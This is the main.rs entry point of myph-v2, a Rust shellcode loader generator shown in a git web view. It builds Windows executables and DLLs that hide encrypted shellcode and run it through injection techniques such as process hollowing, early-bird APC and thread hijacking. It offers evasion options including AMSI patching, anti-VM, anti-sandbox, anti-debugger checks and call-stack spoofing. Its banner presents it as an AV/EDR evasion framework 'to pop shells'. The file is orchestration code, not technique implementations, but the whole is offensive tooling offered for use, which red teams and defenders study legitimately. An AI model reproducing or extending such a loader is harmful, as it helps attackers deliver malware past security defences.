myph-v2.git


myph-v2

~ rust shellcode loader with evasive capabilities
git clone https://github.com/djnnvx/myph-v2.git
log | files | refs | archive | README

main.rs (10814B)

      1 //! myph-v2: Modern Rust-based shellcode loader generator
      2 //!
      3 //! This is the main entry point for the myph-v2 application. It orchestrates
      4 //! the entire process of generating evasive Windows executables and DLLs from
      5 //! raw shellcode.
      6 //!
      7 //! # Workflow
      8 //!
      9 //! 1. Parse command-line options and auto-generate encryption key if needed
     10 //! 2. Read and validate the shellcode file
     11 //! 3. Setup temporary build environment
     12 //! 4. Display configuration summary to user
     13 //! 5. Generate a temporary Rust project with encrypted shellcode
     14 //! 6. Build the project in release mode with optimizations
     15 //! 7. Copy the final binary to the output location
     16 //!
     17 //! # Error Handling
     18 //!
     19 //! All errors are propagated through the `run()` function using the `?` operator
     20 //! and handled centrally in `main()` for consistent error reporting.
     21 
     22 mod cli;
     23 mod encryption;
     24 mod env_setup;
     25 mod evasion;
     26 mod file_ops;
     27 #[allow(dead_code)]
     28 mod internals;
     29 
     30 use cli::Options;
     31 use std::env;
     32 use std::io;
     33 use std::process;
     34 
     35 #[cfg(test)]
     36 use std::sync::Mutex;
     37 
     38 #[cfg(test)]
     39 // Global mutex to serialize tests that change working directory across all test modules
     40 static TEST_DIR_MUTEX: Mutex<()> = Mutex::new(());
     41 
     42 const ASCII_ART: &str = r#"
     43               ...                                        -==[ M Y P H ]==-
     44              ;::::;
     45            ;::::; :;                                    In loving memory of
     46          ;:::::'   :;                               Wassyl Iaroslavovytch Slipak
     47         ;:::::;     ;.
     48        ,:::::'       ;           OOO                       (1974 - 2016)
     49        ::::::;       ;          OOOOO
     50        ;:::::;       ;         OOOOOOOO
     51       ,;::::::;     ;'         / OOOOOOO                      v2.1.2
     52     ;::::::::: . ,,,;.        /  / DOOOOOO
     53   .';:::::::::::::::::;,     /  /     DOOOO
     54  ,::::::;::::::;;;;::::;,   /  /        DOOO        AV / EDR evasion framework
     55 ; :::::: '::::::;;;::::: ,#/  /          DOOO           to pop shells and
     56 : ::::::: ;::::::;;::: ;::#  /            DOOO        make the blue team cry
     57 :: ::::::: ;:::::::: ;::::# /              DOO
     58  : ::::::: ;:::::: ;::::::#/               DOO
     59  ::: ::::::: ;; ;:::::::::##                OO       written with <3 by djnn
     60  :::: ::::::: ;::::::::;:::#                OO                ------
     61  ::::: ::::::::::::;' :;::#                O             https://djnn.sh
     62    ::::: ::::::::;  /  /  :#
     63    :::::: :::::;   /  /    #
     64 
     65 
     66     "#;
     67 
     68 fn display_banner() {
     69     println!("{}", ASCII_ART);
     70 }
     71 
     72 fn display_supported(feature_name: &str, is_supported: bool) {
     73     println!(
     74         "      • {} : {}",
     75         feature_name,
     76         if is_supported {
     77             "✓ Enabled"
     78         } else {
     79             "✗ Disabled"
     80         }
     81     );
     82 }
     83 
     84 fn technique_name_from_enum(technique: &cli::Technique) -> &'static str {
     85     match technique {
     86         cli::Technique::CRT => "crt",
     87         cli::Technique::CRTx => "crtx",
     88         cli::Technique::CreateFiber => "create-fiber",
     89         cli::Technique::ProcessHollowing => "process-hollowing",
     90         cli::Technique::CreateThread => "create-thread",
     91         cli::Technique::NtCreateThreadEx => "nt-create-thread-ex",
     92         cli::Technique::Syscall => "syscall",
     93         cli::Technique::Etwp => "etwp",
     94         cli::Technique::SetTimer => "set-timer",
     95         cli::Technique::EnumCalendar => "enum-calendar",
     96         cli::Technique::EnumWindows => "enum-windows",
     97         cli::Technique::EnumSystemLocales => "enum-system-locales",
     98         cli::Technique::ImageGetDigestStream => "image-get-digest-stream",
     99         cli::Technique::QueueUserAPC => "queue-user-apc",
    100         cli::Technique::FairyLaw => "fairy-law",
    101         cli::Technique::ModuleStomping => "module-stomping",
    102         cli::Technique::ThreadHijacking => "thread-hijacking",
    103         cli::Technique::EarlyBird => "early-bird",
    104     }
    105 }
    106 
    107 fn validate_technique_compatibility(opts: &Options) -> io::Result<()> {
    108     let technique_name = technique_name_from_enum(&opts.technique);
    109     let has_process_param = opts.process != "cmd.exe";
    110 
    111     match internals::templates::techniques::validation::TechniqueValidator::validate(
    112         technique_name,
    113         opts.with_dynamic_function_resolver,
    114         has_process_param,
    115     ) {
    116         Ok(()) => Ok(()),
    117         Err(errors) => {
    118             eprintln!("\n[!] Technique compatibility validation failed:\n");
    119             for error in &errors {
    120                 eprintln!("  [!] {}", error.message);
    121                 if let Some(suggestion) = &error.suggestion {
    122                     eprintln!("    [+] Suggestion: {}", suggestion);
    123                 }
    124                 eprintln!();
    125             }
    126             Err(io::Error::other("Technique compatibility check failed"))
    127         }
    128     }
    129 }
    130 
    131 fn handle_compatibility_check(opts: &Options) -> io::Result<()> {
    132     let technique_name = technique_name_from_enum(&opts.technique);
    133 
    134     println!("\n╭─────────────────────────────────────────────╮");
    135     println!("│         Technique Compatibility Check       │");
    136     println!("╰─────────────────────────────────────────────╯\n");
    137 
    138     if let Some(info) =
    139         internals::templates::techniques::validation::TechniqueValidator::display_technique_info(
    140             technique_name,
    141         )
    142     {
    143         println!("{}", info);
    144     } else {
    145         eprintln!("✗ Unknown technique: {}", technique_name);
    146         return Err(io::Error::other("Unknown technique"));
    147     }
    148 
    149     let has_process_param = opts.process != "cmd.exe";
    150     match internals::templates::techniques::validation::TechniqueValidator::validate(
    151         technique_name,
    152         opts.with_dynamic_function_resolver,
    153         has_process_param,
    154     ) {
    155         Ok(()) => {
    156             println!("\n[+] All compatibility checks passed!");
    157             println!("[+] This technique is compatible with the selected features.");
    158         }
    159         Err(errors) => {
    160             println!("\n[!] Compatibility issues found:\n");
    161             for error in &errors {
    162                 println!("  [!] {}", error.message);
    163                 if let Some(suggestion) = &error.suggestion {
    164                     println!("    [+] {}", suggestion);
    165                 }
    166                 println!();
    167             }
    168         }
    169     }
    170 
    171     Ok(())
    172 }
    173 
    174 fn display_configuration(opts: &Options) {
    175     println!("\n╭─────────────────────────────────────────────╮");
    176     println!("│           Configuration Summary             │");
    177     println!("╰─────────────────────────────────────────────╯");
    178     println!();
    179 
    180     let encryption_key = opts
    181         .key
    182         .as_ref()
    183         .expect("Encryption key should have been auto-generated");
    184 
    185     println!("  [+] Encryption    : {:?}", opts.encryption);
    186     println!("  [+] Key           : {}", encryption_key);
    187     println!("  [+] Technique     : {:?}", opts.technique);
    188     println!("  [+] Target Process: {}", opts.process);
    189     println!("  [+] Binary Format : {:?}", opts.binary_format);
    190     println!("  [+] Output File   : {}", opts.out);
    191     println!();
    192 
    193     println!("  [+] Evasion Features:");
    194     display_supported("API Hammering", opts.with_api_hammering);
    195     display_supported("AMSI Patching", opts.with_amsi_patch);
    196     display_supported("String Encryption", opts.with_string_encryption);
    197     display_supported(
    198         "Dynamic Function Resolver",
    199         opts.with_dynamic_function_resolver,
    200     );
    201     display_supported("Anti-VM Detection", opts.with_anti_vm);
    202     display_supported("Anti-Sandbox Detection", opts.with_anti_sandbox);
    203     display_supported("Anti-Debugger Detection", opts.with_anti_debugger);
    204     display_supported("Call Stack Spoofing", opts.with_callstack_spoofing);
    205     println!();
    206 }
    207 
    208 fn run() -> io::Result<()> {
    209     display_banner();
    210 
    211     let opts = Options::parse_and_generate();
    212 
    213     // Handle --check-compatibility flag
    214     if opts.check_compatibility {
    215         return handle_compatibility_check(&opts);
    216     }
    217 
    218     // Validate technique compatibility before building
    219     validate_technique_compatibility(&opts)?;
    220 
    221     if matches!(opts.technique, cli::Technique::FairyLaw) {
    222         eprintln!("\n[!] This technique requires Administrator privileges and system restart after it has run.\n");
    223     }
    224 
    225     let original_cwd = env::current_dir()
    226         .map_err(|e| io::Error::other(format!("Failed to get current working directory: {}", e)))?;
    227 
    228     let shellcode_data = file_ops::read_file_bytes(&opts.shellcode).map_err(|e| {
    229         io::Error::other(format!(
    230             "Failed to read shellcode file '{}': {}",
    231             opts.shellcode, e
    232         ))
    233     })?;
    234 
    235     println!(
    236         "✓ Shellcode file read successfully: {} bytes",
    237         shellcode_data.len()
    238     );
    239 
    240     let _temp_dir = env_setup::setup_environment()
    241         .map_err(|e| io::Error::other(format!("Failed to setup environment: {}", e)))?;
    242 
    243     display_configuration(&opts);
    244 
    245     let encryption_key = opts.key.as_ref().expect(
    246         "Encryption key should have been auto-generated if not provided by Options::parse_and_generate()",
    247     );
    248 
    249     if opts.low_resources {
    250         println!("  [!] Low-resource mode enabled:");
    251         println!("      • Using thin LTO instead of full LTO");
    252         println!("      • Using 16 codegen units instead of 1");
    253         println!("      • Limiting parallel jobs to 2");
    254         println!("      • Binary will be slightly larger (~10-30%)");
    255         println!();
    256     }
    257 
    258     let build_env = internals::BuildEnv::new()
    259         .with_project_name("temp_project")
    260         .with_output_name(&opts.out)
    261         .with_original_cwd(&original_cwd)
    262         .with_shellcode(&shellcode_data)
    263         .with_binary_format(&opts.binary_format)
    264         .with_encryption(&opts.encryption, encryption_key)
    265         .with_technique(&opts.technique)
    266         .with_process(&opts.process)
    267         .with_api_hammering(opts.with_api_hammering)
    268         .with_amsi_patch(opts.with_amsi_patch)
    269         .with_string_encryption(opts.with_string_encryption)
    270         .with_dynamic_function_resolver(opts.with_dynamic_function_resolver)
    271         .with_anti_vm(opts.with_anti_vm)
    272         .with_anti_sandbox(opts.with_anti_sandbox)
    273         .with_anti_debugger(opts.with_anti_debugger)
    274         .with_callstack_spoofing(opts.with_callstack_spoofing)
    275         .with_low_resources(opts.low_resources);
    276 
    277     build_env
    278         .build()
    279         .map_err(|e| io::Error::other(format!("Failed to build project: {}", e)))?;
    280 
    281     Ok(())
    282 }
    283 
    284 fn main() {
    285     if let Err(e) = run() {
    286         eprintln!("\n✗ Error: {}", e);
    287         process::exit(1);
    288     }
    289 }